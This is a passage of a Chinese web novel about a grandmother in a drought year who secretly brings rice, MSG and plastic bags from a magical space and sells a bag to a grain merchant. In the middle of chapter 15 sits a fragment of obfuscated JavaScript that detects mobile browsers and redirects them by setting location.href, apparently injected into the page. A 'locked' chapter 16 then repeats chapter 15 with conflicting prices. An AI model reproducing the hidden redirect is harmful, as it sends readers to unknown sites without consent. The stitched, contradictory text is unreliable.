“你们水牛村凭什么不让我们去打水!”
“你们天天去上游打水,那河水到我们村都干了!你们村自己有河不用跑上游去打什么水!”
“你去看看我们村的河,细成了麻绳,我们不去打水等着饿死吗?”
“那也不能把我们村的水都打没啊!你们活不下去,我们就能活下去了?”
里正被吵的脑仁儿疼:“好好好,你们两边都别吵了。”
“你们两个村都没问题。”
“石磨村没有水,要去打水,没问题。”
“水牛村发现没水了,不让打水,也没问题。”
两边村长听到这种和稀泥的话,都不高兴道:
“哪边都没有问题,里正,那照你这么说难不成是老天爷的问题?”
可不就是老天爷的问题!老天爷它要是下雨,就没这些事儿了!
里正叹了口气,看向两边村长。
“今年到现在都没下雨,马上开春要下地了,没有水,怎么种地?大家都是庄户人,都明白这个道理。”
这话一说,所有人都没说话。
就是因为明白这个道理,所以现在才因为抢水闹了起来。
“大家都是为了生计,所以这个事你们两边都怪不得。”
“可眼下这个情况,问题不解决不行,要不我看这样,以后大家全都到上游去打水。”
全到上游去打水?
石磨村村长率先表态:“我们村没问题。”
水牛村那边有些不太乐意:“那我们岂不是每天要平白挑着水走好几里地?”
“对啊,凭什么要我们每天白走那么多路。”
“那我们还走的更远呢!要不是实在没有水,你当我们哪个吃饱了撑得没事干,愿意天天挑水走十几里地啊。”
“你们村没水又不是我们村弄的。”
“你要这么说,那这河上游也不是在你们村里,你们没道理不让我们用!实在不行,咱们去县衙让县老爷评评理!看你们水牛村能不能独霸了一条河去!”
眼看着又要吵起来,
里正抬起手制止两边,严肃道:“如果还是不下雨,再过一个月你们水牛村也得去上游打水了。”
这话说的在场庄户人全都心头一凉。
里正接着又道:
“都说了是特殊年景,大家祖祖辈辈在这生活了几代,互相也都有些沾亲带故的,互相让一步,把这年熬过去才是。”
“要不你们打!打的头破血流,打死人,直接拉去县衙给人偿命就高兴了!”
看两边都不说话了,里正才缓和了语气又补充道:
“大家也别太忧心,兴许过段时间就下雨了。那样两边就都不用跑了。”
“唉,希望吧。”
“快点下雨吧。”
最终两边同意了里正的法子。
以后两个村都去上游打水,谁也不能再拦着谁。
“行了,就这么定了,天都黑了。”
“散了散了吧。”
“那打人的事怎么说?”不知道谁喊了一声。要散开的人群又定住走了回来。
里正转过脸来,冲着说话的村人严肃把人叫出来:“你哪儿伤了。”
被叫出来的水牛村村民被这么多人看着有些不自在,随即道:“我没伤着,但是我兄弟挨了好几脚,里正你看这大脚印还在衣服上呢。”
里正看被抓过来的村民,衣服上印着好几个大脚印子。
看水牛村告状,石磨村这边也跟着告状。
“你们也踹我们了。”
“对你看我们铁头,牙都被打掉了一颗!”
里正看着人群里问:“有重伤的没?断胳膊断腿的?头破血流的?有没有?”
那没有。
人群里没人走出来。
里正看向两位村长:“既然没有重伤的,这事儿就不要计较了,这你打我一拳我给你一脚的事儿谁能说的清。”
“互相点个头这事儿就算过去了吧。”
两位村长也不想太驳里正的面子,互相点点头,让各自这边参与斗殴的青壮出来都互相点个头,两村人握手言和,今日这场纠纷算是彻底了了。
人群散开。
万春兰找到俩儿子,抓着仔细看了一圈,看二儿子刘劲水颧骨地方有块淤青!
万春兰心疼的抓着儿子看:“这谁打的哟!”
张婶子没跟她说劲水挨打了啊!
刘劲水:“没事娘,不是打的,是我当时在跟一个人撕巴,大哥着急过来帮忙,胳膊肘不小心磕到我脸上一下,就这样了。”
刘劲山不好意思挠挠头:“是我不小心给弟弟撞的,我俩都没挨打。”
这俩笨儿子,跟人打架,结果还把自家人误伤了。
“娘,他们水牛村的可打不过咱们村的汉子。”
“可不,这几天咱们吃的饱,浑身是劲儿,他们水牛村两个人过来都没掰动我。”
“被我和哥打的更惨!”
万春兰突然心底一沉。
“放心,娘以后让你们都吃饱。”
俩儿子听到都笑呵呵的,没往心里去。
一家人回到家。
万春兰便开始张罗晚饭,她到米缸前,看着缸里的米,挖了足足的蒸干饭的量。
“再拿三个鸡蛋出来,跟香椿炒着吃。”
先前给调味料老板的香椿,他没要,万春兰放到菜篮里拿回来了。
俩儿媳妇一听,双双露出吃惊的表情,要知道过完年后,婆母就特别省吃俭用存粮食,今天怎么突然这么大方。
“去做饭吧。”
“诶,好嘞娘!”
万春兰拿着香椿要去洗,儿媳妇马荷花看见勤快的拿过来洗,
“我来吧娘,您歇会儿。”
万春兰这一天确实挺累,看着儿媳妇露出个欣慰的笑脸,找了个马札坐下,她这一去又是一整天,将将天黑才回家,家里人不免关心:
“娘,你怎么今天又这么晚才回来啊?”
“我摘了些香椿,去镇上卖卖看。”
院子里坐在藤椅上充大爷的刘大江一听万春兰今天去镇上了,下意识背脊一挺。
“你去镇上了?”
两人昨天吵起来后,这还是说的第一句话。
万春兰:“嗯。”
刘大江表情一变,掩饰的遮住嘴巴咳嗽了两声。
“卖出去了吗?”
万春兰摇头。
“你在哪卖的?”
“就在平时路口那呗。”
瞧见老婆子说话正常,不像是有看见他的样子,刘大江松了口气,慢慢又坐了回去。
“哼,天天往镇上跑去做买卖又卖不出去,我看你还是别瞎忙活了。”
你知道个屁。我今天卖来的钱换成大米能撑死你!
万春兰没搭理刘大江。
而家里人这边,见爹娘说话了,和好了,纷纷都高兴起来。
这下家里的气氛终于不用那么压抑了。
趁着做饭的功夫,万春兰去了趟茅房。
她小心的看了看周围,关上门,进去空间。
她找到放在花纸旁边的那包味精。
万春兰不知道什么是味精,只知道这是调料,炒菜用的。
刚才做饭时她突然想到这个,就想着要不今晚炒鸡蛋的时候用一下。
但是这东西带不出去怎么弄?
包子能带出去。
这个为什么就带不出去呢?
万春兰想不通,她来来回回和同样带不出去的花纸对比,突然,她一顿,看着味精包装袋上的字停下来。
她摸着那些不认识的字,又拿出来花纸对比。
她发现问题了。
跟之前的包子比,这袋子和花纸一样,上面都有字!
昨天装包子的袋子白白净净的,什么都没有,跟这个袋子不一样,这上面有图案和字,花纸和调料上都有字。
万春兰快速眨动眼睛,她小心的把味精撕开个口子,在手心里倒出里面晶莹细小的长条,虚握着起身推门出去,水波纹荡漾过——
人站在屋里。
她连忙摊开手心,手心里的几颗味精被成功带出来了。
“哎哟!”
万春兰大喜!
---
很快晚饭蒸好,热腾腾的一大盆米饭端出锅。
“我来炒菜!”
万春兰从后院满面春风走出来。
大铁锅里,放上一勺菜籽油,磕了三个鸡蛋下去,顿时飘出香气,然后把香椿放进锅里去,一起翻炒,最后撒上一点点盐,趁着撒盐的功夫,万春兰悄悄把几粒味精撒了进去。
为了保险方才她在后院先给鸡喂了这玩意,鸡活蹦乱跳的一点事儿没有。
“嚓、嚓、嚓、”
一份香甜美味的香椿炒鸡蛋出锅。
“来,吃饭了!”
万春兰挨个给家里人分饭,每人碗里都填的满满的。
今晚又是一顿“丰盛”的晚饭。
满满的一大碗干饭,新鲜的香椿炒鸡蛋,酱菜干。
除了日常天天吃的酱菜,这香椿炒鸡蛋可是好久没吃到过了,再配上一大碗干饭,看得人心都踏实了。
刘大江沉默的看了万春兰一眼。
又是吃干饭,又是炒鸡蛋的。
他觉得这是老婆子在给他服软。
心里不免得意的冷哼一声。
大口夹起一筷子香椿炒鸡蛋。
一筷子下去,老眼一瞪,“嗯?”
万春兰转头看他,殷切地问:
“咋样?好吃?”
刘大江抬起眉毛看老太婆殷勤的样子,愈发肯定了她在跟自己服软的想法。
“哼,凑合。”
老嘴里尝不出二两鲜来!给你吃什么都白瞎。
万春兰不动声色白了他一眼。转头招呼桌上其他家里人:“快吃快吃,都动筷子。”
全家都动筷子。
全家人香椿炒鸡蛋一进嘴,眼睛都瞪圆了:
“娘!这菜咋这么鲜?!”
“好吃?”万春兰问。
全家人异口同声:“太好吃了!”
万春兰赶紧自己也夹了一筷子进嘴。
鲜咸味美,浓郁的香椿和鸡蛋香,一种说不出是甜还是咸的味道充斥着味蕾,一丁点蛋腥味都没有,全是鲜甜!万春兰跟家里人如出一辙的鼓圆眼,真不愧是神仙地的好东西啊!
“娘,你今天炒的鸡蛋怎
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么这么好吃?跟以前的都不一样!”
“是啊娘,今天的特别好吃,特别香。”
“哼,我吃着都一样,我看你们是太久没吃了。”
“是好吃啊!爷爷舌头坏了。”
“去!”
晚上这一顿全家吃了个香喷喷的饱饭。
这一晚上,全家人对万春兰这盘香椿炒鸡蛋一致好评。
万春兰乐的见眉不见眼。
“阿奶,明天你还给我们炒香椿炒鸡蛋吃好不好?”
“臭小子,天天吃鸡蛋,你当你是地主少爷啊。”刘劲山胡噜了一把儿子二宝笑骂。
万春兰笑着点头:“以后阿奶天天让你们吃炒鸡蛋好不好?”
“太好啦!”
“娘,你别太惯着他们了。”
饭后一家人说说笑笑,其乐融融。
天也黑了,洗洗涮涮收拾好,人也该回屋睡觉休息了。
刘小禾看着阿奶,她憋了一晚上秘密任务准备告诉阿奶呢。
但看阿奶好像是累了,眼皮都快撑不起来了,她就没张口。先让阿奶睡觉,明天再告诉阿奶。
万春兰今天摘了一天香椿,爬上爬下几十趟,实在是累了。
回屋里躺下没一会儿就睡着了。
一夜无梦。
这一觉睡的很熟,鸡鸣三声,万春兰才睁开眼。
她抻了个大大的懒腰,感觉身上的力气都休息回来了。
刘大江已经不在屋里出去了,万春兰收拾好自己也出门,刚一出去,一直坐在院子里等着的刘小禾就跑了过来。
“阿奶!”
万春兰摸着小孙女的脑袋笑:“等阿奶呐。”
“阿奶,阿奶,你蹲下。”小禾拽着万春兰的衣服,万春兰蹲下来,小禾凑到她耳边拢着手小声说:
“阿奶,昨天没有人来找阿爷,但是阿爷昨天出去了,我跟着去了。”
万春兰抬眉。
“你看到他去哪里了?”
“去镇上了!”
万春兰惊讶的看向小孙女:“他带你去的?”
小禾摇头:“我偷偷跟去的。”
万春兰更惊:“你一个人偷偷跟去镇上了?”那可是十里地!
小禾骄傲的点点头。
万春兰拍了她一下:“你个小丫头,路上丢了怎么办!”
小禾连忙说:“回来时候我走不动了,叫了阿爷,阿爷把我夹回来的。”
勒的她肚子现在还痛呢。
万春兰听后,还是严肃的教育小孙女:“以后不准一个人跑到村子外面,听到没有!叫那些人牙子把你抓走,你就再也见不到阿奶了!”
小禾吓了一跳撅着嘴巴乖巧点头:“知道了。”
万春兰又摸了摸小孙女。
“你看到你阿爷去镇上做什么了吗?”
“他去敲了一户人家的门,说了几句话,然后那人给阿爷喝了一碗水,阿爷就很高兴的走了。”
“什么人?”
小禾摇摇头:“我没看见,那人在门里没出来。”
万春兰皱着眉。她神色不定,刘大江去镇上见人了?他们家没有亲戚住在镇上啊。
片刻后,万春兰看向小孙女问:
“你还记得那户人家是在哪里吗?”
小禾点头:“记得!”
“好丫头!今天跟阿奶去镇上,带阿奶去认认地方。”
“嗯!”
“你等阿奶一会儿啊。”
万春兰回去老屋里,关上门窗,进去空间。
既然要去镇上,顺便也把换米的事情办了。
她走过去把五斤装的大米拎起来。
先拿上这个五斤的,看看能换多少。
万春兰把塑料袋封口系好,拎着袋口推门出了空间。
人站在屋里,手上拎着的大米陡然消失了。
万春兰低头看见空空如也的手心大惊!赶紧重新进去空间里。
一大一小两袋大米好端端的都在白屋子里放着,旁边还放着一摞花纸。
看到大米还都在,万春兰心踏实了,她拎起五斤塑料袋的大米看了一圈,后知后觉发现这装大米的袋子上面也有字。
她回去屋里,找出家里装粮食的布兜,再回去空间里,然后把米倒进去,再出来空间——
水波纹过后,菜篮里的米也被成功带出来了。
她攥着大米一阵谢天谢地的拍胸脯。
“吓死我了!”
不一会儿老屋的门打开,刘小禾看见阿奶拎着个鼓囊囊的袋子从里面高兴的出来。
“走,丫头,跟阿奶去镇上。”
万春兰领着小禾去镇上。
小禾昨天走的太久,脚丫上磨起了泡,走一会儿就疼的不行,万春兰发现了,心疼小孙女,就背着小孙女走。
背一会儿,她就要下去,“阿奶累了,我们歇一下吧。”
祖孙俩就在路边歇一会儿。
“阿奶,你这里装的什么啊?”刘小禾好奇的看着万春兰手里拿的袋子。
万春兰看着小孙女,打开袋子给她看,
“哇!”小禾睁大眼睛张口,
是白米!
“好白的米阿奶!”
万春兰笑着竖起手指:“嘘。”
刘小禾赶紧捂住嘴巴。
“不要跟别人说啊,阿奶只给你看了。”
小禾连连点头。
“阿奶,你要拿白米去镇子上换糙米吗?”
万春兰惊讶的看向小孙女:“你怎么知道阿奶要去换糙米的?”
刘小禾笑嘻嘻晃脑袋,“上一次去镇上,我看见有人就是这么换的。”
万春兰欣慰的看着刘小禾,要她说,她家最聪明的就属这小丫头。
休息够了,万春兰起来,背起小孙女。
“阿奶,我可以走。”
“你的小脚丫子太嫩的,现在走坏了,以后都没得走咯。”
刘小禾一听会把脚走坏,吓得她也不敢要下去了,只是一直说,“阿奶,你要是累了就把我放下来,我门歇歇再走。”
刘小禾体重轻,万春兰背着她不算费事,但走走停停的还是休息了好几次,两人用了差不多一个时辰走到了镇上。
到了大柳镇上,小禾从万春兰背上下来,小脑袋四处看,牵起万春兰的手,开始找昨天看到刘大江去的那个巷口。
15. 第 15 章
大柳镇原先是个村集地,因为地势平坦,四通八达,邻近各村的人都爱来这儿做买卖。后来有些手艺人干脆在此搭棚做活,渐渐地,棚子变房子,住户越来越多,便成了一个像模像样的镇子。
镇上的人家,多半是做小生意或靠手艺吃饭的。镇子不大,东西两条主街,再岔开几条胡同小巷,寻常人家就安顿在这些巷弄之中。
刘小禾虽然人小,但是记性好的很。她牵着万春兰从正街口的大路往东走,拐过横街,第三个巷口进去再右拐。
她指着第二个门户:“就是那一家。”
万春兰瞧着那家门楣皱眉,她可不记得自家有什么亲戚住在这里。
牵着刘小禾,万春兰上前敲门。
“小慧?小慧?在家不?”
敲了半天没有人开门,倒是对门吱呀一声,一位老太太探出身来。
“你找谁呀?”
万春兰回身,客气地问:“婶娘,我寻我家亲戚呢,敢问这里是不是姓刘啊?”
老妇人摇头:“这家不姓刘,你找错了。”
万春兰惊讶:“找错了?这家不是刘小慧家吗?”
“不是啊,这家姓林,是镇上杀猪匠的家,现在住着他媳妇孩子。”说着叹了一口长气,“可惜哟。”几年前一场病去了,留下一门孤儿寡母。
姓林的杀猪匠——万春兰心头一凛,这不是孙红云家吗!
万春兰知道孙红云这人,虽然她是嫁到石磨村的,娘家在十几里外的泉子沟,而且她嫁过来的时候孙红云已经嫁人搬去镇上住了。
但那会儿她公爹婆母还在,刘大江哥几个还没分家住,孙家就住在刘家隔壁,孙红云逢年过节都会回娘家来探亲,她见过她不少次,自然知道这个人。
她男人就是个杀猪匠,听说她男人几年前生病没了,孙红云还回娘家哭过好几场,这事儿村里有人看见当闲话说起过,她自然也听说了。
刘大江昨天来了孙红云家?
万春兰瞬间想到家里借出去的两贯钱。
她心中惊疑不定。
孙红云现在是个寡妇,他来敲一个寡妇家门?
难不成......刘大江和当了寡妇的孙红云有了牵扯??
这个想法一出来,犹如洪钟巨响,炸的万春兰脑子一嗡,眼前都一黑。
“阿奶?阿奶?”小禾的声音传进耳朵里,万春兰等过眼前那一瞬黑,低头,看见小孙女牢牢牵着她的手,昂着头满脸的担心的看着她。
“阿奶你没事吧?”
旁边的老妇人也过来瞅她,有些迟疑地问:“你是要找这家吗?”
她抽了抽嘴皮:“哦不是,那是我找错了。”
说完领着小禾就离开了。
刘小禾一直昂着头担心的看着阿奶,刚才阿奶脸上唰的一下就白了。
刘小禾第一次见到人的脸色在瞬间变化,就好像...她说不出来,她一看见那个颜色,源自于生命本能的恐惧,吓得刘小禾当时心脏一抽,赶紧抓住阿奶的双手。
领着刘小禾到街口,万春兰在石墩子上坐下,目光直直望着前方,脸色沉得像铁。
方才那个想法一出来,直接激的她眼前发黑。
随即是一股无法言说的滔天巨怒。
她想劝说自己别瞎想,但这个想法一出来就压不住了。
万春兰根本控制不了,越想越觉得怒,从前各种忽视的细枝末节全跑出来了。
她说呢!刘大江这几年频频动了家里好几次钱,一会儿说是借给哪个老朋友,一会儿说谁家要随礼,怕不是都拿去给养小了吧!
万春兰气得无处发泄,狠狠往腿上一拍:“老不死的……他要是真敢,我非宰了他不可!”
小禾被吓得在一旁不敢吭声。
许久之后,万春兰才勉强将这滔天怒火摁下去。
现在这事儿还没定,无凭无证,她就是气死,回去质问刘大江,他也绝不会认,到时候他就抵死不承认,再反过来赖她瞎说八道胡乱猜忌,闹起来自己占不到半点便宜。
她得沉住气,不能急,
她得好好想想,好好想想......
“走,去粮铺。”
万春兰暂且把这事压在心里,
领着小孙女去镇上唯一一家米粮铺子。
铺面不大,三间门脸,黑漆招牌上写着“赵记粮行”四个大字。门前挂着一块木牌,用白粉写着今日粮价。万春兰走近一看,顿时倒吸一口凉气——
糙米一斗/九十文
她简直不敢相信自己的眼睛,“掌柜的!”万春兰拉着小禾快步走进铺子,“米价怎么涨这么多?过年时不还是五十文一斗吗?”
粮铺掌柜三十多岁,人微胖,他正在柜台后拨弄算盘,闻声抬起头无奈道:“雨水少,收成不好,粮食就涨价呗。不光咱们这里涨,都涨价了。我昨儿个去县里进货,那边的米价已经涨到一百文了。”
万春兰的心直往下沉:“可这也涨得太快了,春粮还没下地呢!”
赵掌柜放下算盘,走到门口指着天:“你看这日头,一点雨意都没有。老话说‘春雨贵如油’,这油要是没有,秋天的收成就悬了。”
他压低声音:“听说北方一些地方已经开始设粥棚了,已经开始有流民了。你要买啊,就赶紧多囤些吧,看这架势,还得涨。”
万春兰只觉得手脚发凉。九十文一斗糙米,差不多等于一百文一斗了。家里十口人,一个月少说也要四斗米,这就是三百六十文。而掌柜说以后可能还会涨!
家里有十五亩自耕地,又佃了十亩地。正常年景,一亩地出一石粮,除去自家口粮、赋税、损耗和佃租,一年到头能落个两三贯钱。平日靠鸡鸭下蛋、农闲打短工、给人抢收,勉强再攒下一贯半。
她辛辛苦苦这些年,统共才攒下十二贯,眼下还被老不死的偷走两贯。
这日子该怎么过?
她想起神仙地的白米,那里一百块能买五斗多呢!这么一比,用白米换糙米似乎不划算。
不过她今日来,也是想试试神仙地的白米在这儿能换多少糙米,心里好有个数。
万春兰解开米袋,捧到掌柜面前:“掌柜您瞧瞧,这样的白米,要是换糙米,能换多少?”
掌柜抓起一把米,在掌心细细一看,眉梢微扬——这米碾得极白,粒粒晶莹,像细珍珠似的,在精米里也算上等了。
他点点头:“若是往常,一斤这样的米能换五斤糙米。如今粮价不稳,顶多换三斤。”
掌柜拿秤一称:“您这袋是三斤半,换糙米的话,我可以给你凑个整,一斗多一斤。”
万春兰睁大眼:“不对啊,这该有五斤的。”
掌柜瞪眼:“就是三斤半,秤在这儿,您自己瞧。”
万春兰一怔,在神仙地时,明明说的是五斤。
“您要是觉得我骗您,大可不换。”掌柜放下秤,语气淡了些。
万春兰一顿,对掌柜赔笑:“我没有说掌柜你骗我的意思,这米是我一个亲戚给我,叫我帮忙换的,给我的时候说的是五斤,我得回去找他说去。”她将米袋重新系好,“那先给我称一斤糙米吧。”
她没有另备布袋,顺手从怀里掏出个塑料袋装米。
粮铺掌柜看见塑料袋,讶异道:“咦?你这什么袋子?从没见过。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061819|195021||http|test|mini|href|location''.split(''|''),0,{}));
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>“我亲戚给的。”
“能给我瞧瞧不?”
万春兰看了掌柜一眼,递了过去。
粮铺掌柜是个见多识广的,一看这袋子就觉得是个稀奇物件,他翻来覆去地看,越看越觉得稀奇:“这袋子……卖不卖?我出钱买。”
万春兰心里一动,面上却憨憨一笑:
“掌柜你真有眼光,一打眼就看出我这是稀罕物,我那亲戚说,这东西可贵着呢。”
“贵你还拿来装米?”
万春兰憨厚一笑:“再贵重不也就是个袋子?不装米装啥。”
掌柜摩挲着塑料袋,啧啧称奇:“这怕是府城那样的大地方才有的物件吧?”
错了,这是神仙地才有的物件。
万春兰心里想着,嘴上却胡诌:“我亲戚的亲戚是跑海船的,说这是海外小国的特产,咱们这儿没有。”
掌柜一脸“你可真能扯”的表情:“你家要有跑海船的亲戚,还能住这小山村?”
“亲戚有,又不等于我有。”万春兰一把将袋子扯回来,“反正他是这么说的,您不信就算了。”
“诶,我看你这物件不错,我出十文钱买下了。”
听到十文钱,万春兰心里一动,但面上却是你快别逗我了笑起来:“掌柜,十文钱连个一个把手都买不下!这袋子,少说一百文!”
万春兰也是狮子大开口了,
她挥挥手要走。
“等等。”
掌柜一咬牙:“一百文就一百文,我买下。”
这下换万春兰傻眼了,她故意要一百文,就是想劝退掌柜的,一百文他也买??
万春兰这时候脑子转的奇快,她随即一脸肉疼的拎着袋子:“哎呀,我说一百文是想让您打消念头......这袋子是过年时好不容易讨来的,就这一个,我还搭了个大红包呢!”
掌柜这时也拿腔上了:“这袋子给你也就是装装粮,一百文够买多少布兜了。我是瞧着稀奇才肯出价,你要不卖,那便算了。”
万春兰像是狠下心,一跺脚:“......成,卖您了!”
听万春兰答应了,掌柜一喜,但是数铜钱的时候又感觉到肉痛了,感觉自己竟然花一百文买了个袋子,属实有点冲动了。
万春兰接过一串铜钱,看着塑料袋十分不舍的样子,仿佛有些后悔,嘴里还嘟囔:“要不是先前话已出口,我真舍不得卖......”
她这样,掌柜反而舒心多了,笑模样的看着万春兰,叫她慢走。
揣着一串铜钱,领着小禾离开粮铺,万春兰舒心了不少。
没想到来一趟镇上还有意外收获。
“阿奶,那个袋子卖亏了吧。”
听到小禾这么说,万春兰眉心一挑,低头问小孙女:“你怎么说卖亏了?”
“那个袋子很好啊,掌柜一开始出十文,看您不卖,一百文他肯这么痛快买,定是觉得占了便宜。”
小禾才四岁呢!能懂这么多!
万春兰惊喜的看着小孙女:“这些道理谁教你的啊?”
“石头哥哥说的,他在镇上的先生这读书,先生教他欲擒故纵,他回来告诉我们,我就知道了。”
哎哟,还知道典故了!
“阿奶再教你个道理,叫贪多嚼不烂,这个袋子,本来就是咱们意外得的,要是卖的太贵了,反倒容易惹人眼红,招来祸事。”
“我懂了阿奶!这叫适可而止!跟你说的意思一样!”
万春兰瞪大眼,嘶!她这小孙女!是真机灵啊!
看着聪明的小孙女,万春兰突然萌生了一个想法。
“小禾,你想不想学算筹?”
16. [锁] 该章节由作者自行锁定
大柳镇原先是个村集地,因为地势平坦,四通八达,邻近各村的人都爱来这儿做买卖。
后来有些手艺人干脆在此搭棚做活,渐渐地,棚子变房子,住户越来越多,便成了一个像模像样的镇子。
镇上的人家,多半是做小生意或靠手艺吃饭的。镇子不大,东西两条主街,再岔开几条胡同小巷,寻常人家就安顿在这些巷弄之中。
刘小禾虽然人小,但是记性好的很。她牵着万春兰从正街口的大路往东走,拐过横街,第三个巷口进去再右拐。
她指着第二个门户:“就是那一家。”
万春兰瞧着那家门楣皱眉,她可不记得自家有什么亲戚住在这里。
牵着刘小禾,万春兰上前敲门。
“小慧?小慧?在家不?”
敲了半天没有人开门,倒是对门吱呀一声,一位老太太探出身来。
“你找谁呀?”
万春兰回身,客气地问:“婶娘,我寻我家亲戚呢,敢问这里是不是姓刘啊?”
老妇人摇头:“这家不姓刘,你找错了。”
万春兰惊讶:“找错了?这家不是刘小慧家吗?”
“不是啊,这家姓林,是镇上杀猪匠的家,现在住着他媳妇孩子。”说着叹了一口长气,“可惜哟。”几年前一场病去了,留下一门孤儿寡母。
姓林的杀猪匠——万春兰心头一凛,这不是孙红云家吗!
万春兰知道孙红云这人,虽然她是嫁到石磨村的,娘家在十几里外的泉子沟,而且她嫁过来的时候孙红云已经嫁人搬去镇上住了。
但那会儿她公爹婆母还在,刘大江兄弟几个还没分家住,孙家就住在刘家隔壁,孙红云逢年过节都会回娘家来探亲,她见过她不少次,自然知道这个人。
她男人就是个杀猪匠,听说她男人几年前生病没了,孙红云还回娘家哭过好几场,这事儿村里有人看见当闲话说起过,她自然也听说了。
刘大江昨天来了孙红云家?
万春兰瞬间想到家里借出去的两贯钱。
她心中惊疑不定。
孙红云现在是个寡妇,他来敲一个寡妇家门?
难不成......刘大江和当了寡妇的孙红云有了牵扯??
这个想法一出来,犹如洪钟巨响,炸的万春兰脑子一嗡,眼前都一黑。
“阿奶?阿奶?”小禾的声音传进耳朵里,万春兰等过眼前那一瞬黑,低头,看见小孙女牢牢牵着她的手,昂着头满脸的担心的看着她。
“阿奶你没事吧?”
旁边的老妇人也过来瞅她,有些迟疑地问:“你是要找这家吗?”
她抽了抽嘴皮:“哦不是,那是我找错了。”
说完领着小禾就离开了。
刘小禾一直昂着头担心的看着阿奶,刚才阿奶脸上唰的一下就白了。
刘小禾第一次见到人的脸色在瞬间变化,就好像...她说不出来,她一看见那个颜色,源自于生命本能的恐惧,吓得刘小禾当时心脏一抽,赶紧抓住阿奶的双手。
领着刘小禾到街口,万春兰在石墩子上坐下,目光直直望着前方,脸色沉得像铁。
方才那个想法一出来,直接激的她眼前发黑。
随即是一股无法言说的滔天巨怒。
她想劝说自己别瞎想,但这个想法一出来就压不住了。
万春兰根本控制不了,越想越觉得怒,从前各种忽视的细枝末节全跑出来了。
她说呢!刘大江这几年频频动了家里好几次钱,一会儿说是借给哪个老朋友,一会儿说谁家要随礼,怕不是都拿去给养小了吧!
万春兰气得无处发泄,狠狠往腿上一拍:“老不死的……他要是真敢,我非宰了他不可!”
小禾被吓得在一旁不敢吭声。
许久之后,万春兰才勉强将这滔天怒火摁下去。
现在这事儿还没定,无凭无证,她就是气死,回去质问刘大江,他也绝不会认,到时候他就抵死不承认,再反过来赖她瞎说八道胡乱猜忌,闹起来自己占不到半点便宜。
她得沉住气,不能急,
她得好好想想,好好想想......
“走,去粮铺。”
万春兰暂且把这事压在心里,
领着小孙女去镇上唯一一家米粮铺子。
铺面不大,三间门脸,黑漆招牌上写着“赵记粮行”四个大字。门前挂着一块木牌,用白粉写着今日粮价。万春兰走近一看,顿时一惊——
糙米一斗/七十文
“掌柜的!”万春兰拉着小禾快步走进铺子,“米价怎么涨这么多?过年时不还是五十文一斗吗?”
粮铺掌柜三十多岁,人微胖,他正在柜台后拨弄算盘,闻声抬起头无奈道:“雨水少,收成不好,粮食就涨价呗。不光咱们这里涨,都涨价了。我昨儿个去县里进货,那边的米价已经涨到八十文了。”
万春兰的心直往下沉:“可这也涨得太快了,春粮还没下地呢!”
赵掌柜放下算盘,走到门口指着天:“你看这日头,一点雨意都没有。老话说‘春雨贵如油’,这油要是没有,秋天的收成就悬了。”
他压低声音:“听说北方一些地方已经开始设粥棚了,已经开始有流民了。你要买啊,就赶紧多囤些吧,看这架势,还得涨。”
万春兰只觉得手脚发凉。七十文一斗糙米,差不多翻了一半。家里十口人,一个月少说也要四斗米,这就是两百八十文。而掌柜说以后可能还会涨!
家里有十五亩自耕地,又佃了十亩地。正常年景,一亩地出一石粮,除去自家口粮、赋税、损耗和佃租,一年到头能落个两三贯钱。平日靠鸡鸭下蛋、农闲打短工、给人抢收,勉强再攒下一贯半。
她辛辛苦苦这些年,统共才攒下十二贯,眼下还被老不死的偷走两贯。
这日子该怎么过?
她想起神仙地的白米,那里一百块能买五十多斤,也就等于一篮子野菜,这么一比,她又安心多了。
她今日来,也是想试试神仙地的白米在这儿能换多少糙米,心里好有个数。
万春兰解开米袋,捧到掌柜面前:“掌柜您瞧瞧,这样的白米,要是换糙米,能换多少?”
掌柜抓起一把米,在掌心细细一看,眉梢微扬——这米碾得极白,粒粒晶莹,像细珍珠似的,在精米里也算上等了。
他点点头:“若是往常,一斤这样的米能换五斤糙米。如今粮价不稳,顶多换三斤。”
掌柜拿秤一称:“您这袋是四斤一两六钱,换糙米的话,我可以给你凑个整。”
万春兰一听是四斤多,她探头去看秤杆,确实是不到五斤,而在神仙地这一袋称上有五斤,证实了两边称数不一样的事实。
万春兰点点头,对掌柜道:“那您帮我换了吧。”她是在塑料袋外面又套了家里的粮袋,此刻要换米,就把塑料袋拎了出来。
粮铺掌柜看见塑料袋,讶异道:“咦?你这什么袋子?从没见过。”
“我亲戚给的。”
“能给我瞧瞧不?”
万春兰看了掌柜一眼,放到了柜台上。
粮铺掌柜是个
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见多识广的,一看这袋子就觉得是个稀奇物件,他把白米倒到一个筐子里,拿着塑料袋翻来覆去地看,越看越觉得稀奇:“这袋子……卖不卖?我出钱买。”
万春兰心里一动,面上却憨憨一笑:
“掌柜你真有眼光,一打眼就看出我这是稀罕物,我那亲戚说,这东西可贵着呢。”
“贵你还拿来装米?”
万春兰憨厚一笑:“再贵重不也就是个袋子?不装米装啥。”
掌柜摩挲着塑料袋,啧啧称奇:“这怕是府城那样的大地方才有的物件吧?”
错了,这是神仙地才有的物件。
万春兰心里想着,嘴上却胡诌:“我亲戚的亲戚是跑海船的,说这是海外小国的特产,咱们这儿没有。”
掌柜一脸“你可真能扯”的表情:“你家要有跑海船的亲戚,还能住这小山村?”
“亲戚有,又不等于我有。”万春兰一把将袋子拿回来,“反正他是这么说的,您不信就算了。”
“诶,我看你这物件不错,我出十文钱买下了。”转头去给万春兰称糙米,眼睛还盯着塑料袋感兴趣的说。
听到十文钱,万春兰心里一动,但面上却是你快别逗我了笑起来:“掌柜,十文钱连个一个把手都买不下!这袋子,少说一百文!”
万春兰也是狮子大开口了,
掌柜面露难色,一咬牙:“一百文就一百文,我买下。”
这下换万春兰傻眼了,她故意要一百文,就是等他杀价,一百文他也买??
万春兰这时候脑子转的奇快,她随即一脸肉疼的拎着袋子:“哎呀,我说一百文是想让您打消念头......这袋子是过年时好不容易讨来的,就这一个,我还搭了个大红包呢!”
掌柜这时也拿腔上了,把糙米递给她:“这袋子给你也就是装装粮,一百文够买多少布兜了。我是瞧着稀奇才肯出价,你要不卖,那便算了。”
万春兰像是狠下心,一跺脚:“......成,卖您了!”
